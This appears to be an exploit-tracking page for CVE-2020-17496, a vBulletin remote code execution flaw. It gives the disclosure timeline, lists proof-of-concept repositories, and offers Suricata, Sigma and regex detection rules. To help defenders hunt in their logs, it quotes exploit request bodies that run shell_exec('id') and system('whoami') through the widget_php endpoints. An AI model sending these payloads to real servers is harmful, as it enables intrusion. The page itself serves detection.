PoC Monitor
← All CVEs
CVE-2020-17496published 12 Aug 2020 13:07 UTCData: JSON · API

vBulletin

vBulletin PHP Module Remote Code Execution Vulnerability

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

First public PoC 2 daysafter publication · 14 Aug 2020 · Metasploit
Public PoCs42 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-74
CISA KEV 3 Nov 20211.2 years after publication

Timeline

Days relative to CVE publication
t=0+60+120+180+240+300+360+420CVE published12 Aug 2020 · t = 0First public PoC14 Aug 2020 · t+2dAdded to CISA KEV3 Nov 2021 · t+1.2y

First public PoC 2 days after publication; added to CISA KEV 1.2 years after publication. First PoC: Metasploit exploit: vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution. (exploit/multi/http/vbulletin_widget_template_rce) (Metasploit, 14 Aug 2020).

PoC repositories

Found on GitHub.

2 PoCs · 1 pending

PoCs 2
RepositoryCreatedStarsAssessment
ctlyz123/CVE-2020-17496 20 Aug 2020 +8 d 1 PoC
ludy-dev/vBulletin_5.x-tab_panel-RCE 3 Sep 2020 +22 d 3 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

Pending 1
RepositoryCreatedStarsAssessment
Live-Hack-CVE/CVE-2020-17496 unknown 0 Pending · repository unavailable (HTTP 404)

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 2 PoC repos

POST /ajax/render/widget_tabbedcontainer_tab_panel

Query
XDEBUG_SESSION_START=phpstorm
Key headers
Accept: */*
Body markers
subWidgets[0][template]=widget_php subWidgets[0][config][code]=echo shell_exec("pwd"); exit; subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("id"); exit; in application/x-www-form-urlencoded
Ports
80
PoC User-Agent
curl/7.54.0
Seen in
2 repos: ctlyz123/CVE-2020-17496, ludy-dev/vBulletin_5.x-tab_panel-RCE
Evidence
ctlyz123/CVE-2020-17496/Readme.md:4 ludy-dev/vBulletin_5.x-tab_panel-RCE/vBulletin_5.x-tab_panel-RCE.py:9

POST /index.php

Body markers
routestring=ajax/render/widget_php widgetConfig[code]=system('whoami'); in application/x-www-form-urlencoded
Ports
80
Seen in
1 repo: ctlyz123/CVE-2020-17496
Evidence
ctlyz123/CVE-2020-17496/Readme.md:18

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /ajax/render/widget_tabbedcontainer_tab_panel
(?i)^/ajax/render/widget_tabbedcontainer_tab_panel\?(?:.*&)?XDEBUG_SESSION_START=phpstorm
POST /index.php
(?i)^/index\.php(?:[?#].*)?$
GET /installer
(?i)^/installer(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /ajax/render/widget_tabbedcontainer_tab_panel
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2020-17496 vBulletin vBulletin exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/ajax/render/widget_tabbedcontainer_tab_panel"; http.uri; content:"XDEBUG_SESSION_START=phpstorm"; http.header; content:"Accept: */*"; nocase; http.request_body; content:"subWidgets[0][template]=widget_php"; http.request_body; content:"subWidgets[0][config][code]=echo shell_exec(|22|pwd|22|)|3b| exit|3b|"; http.request_body; content:"subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec(|22|id|22|)|3b| exit|3b|"; reference:url,poc.griffinguard.io/cve/CVE-2020-17496; classtype:web-application-attack; sid:9238184; rev:1;)
POST /index.php
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2020-17496 vBulletin vBulletin exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/index.php"; http.request_body; content:"routestring=ajax/render/widget_php"; http.request_body; content:"widgetConfig[code]=system('whoami')|3b|"; reference:url,poc.griffinguard.io/cve/CVE-2020-17496; classtype:web-application-attack; sid:9619339; rev:1;)
GET /installer
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2020-17496 vBulletin vBulletin exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/installer"; reference:url,poc.griffinguard.io/cve/CVE-2020-17496; classtype:web-application-attack; sid:9272695; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /ajax/render/widget_tabbedcontainer_tab_panel
title: vBulletin vBulletin exploit attempt (CVE-2020-17496)
id: gg-pocmon-cve-2020-17496-9238184
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17496. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17496
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/ajax/render/widget_tabbedcontainer_tab_panel'
    cs-uri-query|contains|all:
      - 'XDEBUG_SESSION_START=phpstorm'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17496
POST /index.php
title: vBulletin vBulletin exploit attempt (CVE-2020-17496)
id: gg-pocmon-cve-2020-17496-9619339
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17496. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17496
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/index.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17496
GET /installer
title: vBulletin vBulletin exploit attempt (CVE-2020-17496)
id: gg-pocmon-cve-2020-17496-9272695
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-17496. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2020-17496
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/installer'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2020.17496